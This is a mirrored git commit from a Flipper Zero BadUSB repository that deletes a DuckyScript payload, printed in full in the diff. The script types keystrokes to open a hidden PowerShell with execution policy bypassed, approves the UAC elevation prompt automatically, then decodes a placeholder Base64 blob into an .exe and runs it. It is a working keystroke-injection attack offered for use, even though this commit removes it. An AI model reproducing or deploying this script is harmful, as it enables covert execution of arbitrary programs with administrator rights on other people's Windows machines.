mirror of
https://github.com/beigeworm/BadUSB-Files-For-FlipperZero.git
synced 2025-12-27 05:03:54 -08:00
Delete Base64 Decode & Execute.txt
This commit is contained in:
@@ -1,30 +0,0 @@
|
||||
REM Title: Base64 Decode & Execute
|
||||
REM Author: @beigeworm
|
||||
REM Description: Uses Powershell to decode a Base64 string and then execute the file.
|
||||
REM Target: Windows 10
|
||||
|
||||
REM *SETUP*
|
||||
REM replace all placeholders throughout the script.
|
||||
|
||||
REM some setup for dukie script
|
||||
DEFAULT_DELAY 100
|
||||
|
||||
REM open powershell (remove -W Hidden to show the window)
|
||||
GUI r
|
||||
DELAY 750
|
||||
STRING powershell -NoP -NonI -W Hidden -Exec Bypass
|
||||
CTRL-SHIFT ENTER
|
||||
DELAY 1500
|
||||
ALT y
|
||||
DELAY 5000
|
||||
|
||||
REM *replace this below*
|
||||
STRING $b64 = 'YOUR_BASE64_STRING_HERE_IN_SINGLE_QUOTES';
|
||||
|
||||
STRING $decodedFile = [System.Convert]::FromBase64String($b64);
|
||||
|
||||
|
||||
REM *replace NAME_HERE and desired filetype (example is .exe)*
|
||||
STRING $File = "NAME_HERE"+".exe";
|
||||
|
||||
STRING Set-Content -Path $File -Value $decodedFile -Encoding Byte;& $File
|
||||
Reference in New Issue
Block a user